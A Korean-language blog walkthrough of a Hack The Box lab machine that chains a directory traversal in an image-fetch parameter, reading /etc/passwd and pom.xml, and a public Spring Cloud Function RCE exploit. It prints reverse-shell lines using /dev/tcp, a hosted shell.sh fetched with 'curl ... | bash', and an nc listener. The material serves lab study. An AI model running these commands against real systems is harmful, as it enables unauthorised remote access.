기본적인 절차:
1.8080 포트가 열려있는 것을 알 수 있음
nagios 서버
2.feroxbuster 확인하기
3.웹 서비스 확인하기
클라우드 서비스를 제공하는 회사로 추정된다.
sign up 버튼이 있어 클릭을 해보았지만 서비스를 하고 있지는 않다.
업로드를 할 수 있는 페이지가 있다.
이미지 파일만 받아들이는 것을 확인
(파일 업로드에 취약하더라도 어떤 언어를 기반으로 웹이 구동되는지 모르기 때문에 공략하는 것은 논리에 어긋난다.)
![[Pasted image 20250115154432.png]]
업로드 페이지에서 이미지 업로드를 시도.
![[Pasted image 20250115154414.png]]
![[Pasted image 20250115154353.png]]
burp suit에서 확인 결과 get 부분에 명령어를 추가할 수 있어 보인다
/etc/passwd 파일을 불러오는 것을 시도하였다.
/etc/passwd 파일을 열람하는 이유
- /etc/passwd는 대부분의 모든 프로젝트가 가지고 있는 파일이다.
- 대부분의 모든 사용자가 읽을 수 있는 파일이다.
- 파일 읽기가 가능한 것을 파악할 때 파일이 없어서 못 찾는 경우를 배재하기 위함이다.
- 사용자(유저)에 대한 정보 등 중요한 한 정보를 찾을 수 있다.
- /etc/hostname도 비슷한 역할을 한다.
찾은 정보:
- frank:x:1000:1000:frank:/home/frank:/bin/bash
- phil:x:1001:1001::/home/phil:/bin/bash
frank와phil은 일반 사용자 계정으로 보이며, 홈 디렉토리와 로그인 셸(/bin/bash)이 설정되어 있다.
현재 파일을 열 수 있는 것이 확인되었으므로 혹여나 리스팅이 되는지 확인해 보았다.
![[Pasted image 20250116004956.png]]
![[Pasted image 20250116005009.png]]
리스팅이 되는 것을 확인할 수 있었다.
- 대부분 리스팅이 되지 않는데 이번 경우는 특이하게 리스팅이 되는 경우이다.
- 이 서비스가 어떤 기반으로 만들어졌는지 어떤 서버를 사용하고 어떤 기반으로 만들어졌는지 설정 파일을 찾아보면 좋을 듯 하다.
![[Pasted image 20250116005641.png]]
![[Pasted image 20250116005652.png]]
특이한 디렉토리가 나왔다.
![[Pasted image 20250116005741.png]]
![[Pasted image 20250116005750.png]]
이런 리스트들이 나왔다.
리스트들을 긁어서 챗 지피티에게 물어보면 pom.xml이 중요 설정 파일임을 알 수 있었다.
[[spring boot]] 혹은 [[[maven]]]의 형태를 띄고 있다고 함
![[Pasted image 20250116011450.png]]
이런 형태의 파일이 나온다
확인해 보니 spring boot 형식의 프레임워크임을 알 수 있다
2.6.5 버전임을 알 수 있어서 cve를 찾아보도록 하겠다
https://github.com/itsecurityco/CVE-2022-22965
이 사이트에서 cve를 찾을 수는 있었지만 실행은 되지 않을 것이다.
![[Pasted image 20250116012136.png]]
poc를 보면 이런 내용이 있는데 사실은 이 웹 서버에는 CachedIntrospectionResults.java라는 파일이 없다.
여기서 많은 [[dependency]]가 사용되었음을 알 수 있는데, 이 웹 서비스는 클라우드 서비스를 제공하고 있기 때문에 springframework.cloud에 주목을 해보도록 하겠다.
https://www.exploit-db.com/exploits/51577
여기에서 찾을 수 있다.
exploit-db 사이트 이기 때문에 searchsploit으로 다운로드 가능하다.
![[Pasted image 20250116012531.png]]
![[Pasted image 20250116012553.png]]
[[RCE]] 취약점을 이용한 [[리버스 쉘]] 공격을 할 것이다.
실행을 하기 전에 해당 서버가 열려 있는지 혹은 응답을 해줄 수 있는지 확인해 보는 과정이 필요하다.
![[Pasted image 20250116012915.png]]
새로운 터미널을 열어 [[ping]]을 기다리도록 한다.
![[Pasted image 20250116012806.png]]
ping을 날린다.
![[Pasted image 20250116013028.png]]
ping이 날라온 것을 확인 할 수 있다.
그렇다면 이제 리버스 셸을 날릴 차례이다.
cve 형식에 맞춰서 명령을 실행하였다.
![[Pasted image 20250116013220.png]]
하지만 [[SpEL]] 표현식에 문제가 있었던 것으로 보여 다른 방법으로 실행
sh -i > & /dev/tcp/10.10.14.13/443 0>&1
![[Pasted image 20250116013612.png]]
curl 방식으로 보내는 것으로 생각해봄
이 방법은 curl명령어는 되는 것 같아 보이나 bash로 실행하는 부분에서 실행이 되지 않는 것 같아 보임, 즉 동시에 2가지의 명령어를 보내는 것이 안되는 것 같음
그렇다면 따로 따로 명령어를 보내보자
이 명령어를 사용하기 위해서는 나의 서버가 작동하고 있어야한다.
즉 python3 -m http.server 80
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.13/443 0>&1
![[Pasted image 20250116013853.png]]curl [나의ip]/[보낼 파일명] -o /tmp/[보낼 파일명]
![[Pasted image 20250116013908.png]]
- curl 명령으로 하여금 실행한 결과를 shell.sh에 저장하도록함?
- tmp/shell에 저장하는 이유: 어느 누구의 권한으로도 쓰기가 가능하기 때문에
- bash 명령으로 shell.sh를 실행하도록 함
- 여기서 리버스 셸이 작동하게 됨?
물론 이 명령을 실행하기 전에 당연히 내가 리버스 셸 명령을 받아들일 수 있도록 명령을 실행해야 한다.
ping 기다리는 명령어: sudo tcpdump -i tun0 icmp
nc -nlvp 443 : listening
curl 내주소/shell(파일 이름).sh | bash
명확하게 해야할 점
왜 이런 방식의 공격을 사용하였고 어떤 논리로 접근하였는가?
- 이미지 파일이 get 형식으로 넘어가는 것을 확인하여서 디렉토리 트래버설 공격이 먹히는지 확인
- 파일이 열어진다면 상위 파일로 넘어갈 수 있는가? 실제로 디렉토리 이동이 되는가 확인
- 그렇다면 리스팅이 되는가?를 확인
- 파일이 확인되고 리스팅이 되므로 손쉽게 설정파일을 찾을 수 있을 것이다
- 설정 파일을 찾는 이유: 이 웹 서버 혹은 웹이 어떤 프레임워크로 만들어 졌는지, 어떤 서버로 이루어 졌는지, 어떤 버전인지를 알 수 있으면 그에 따른 cve 혹은 취약점을 찾을 수 있기 때문에에
'전산공학 공부 > hack the box' 카테고리의 다른 글
| htb-soccer(easy) (0) | 2025.02.14 |
|---|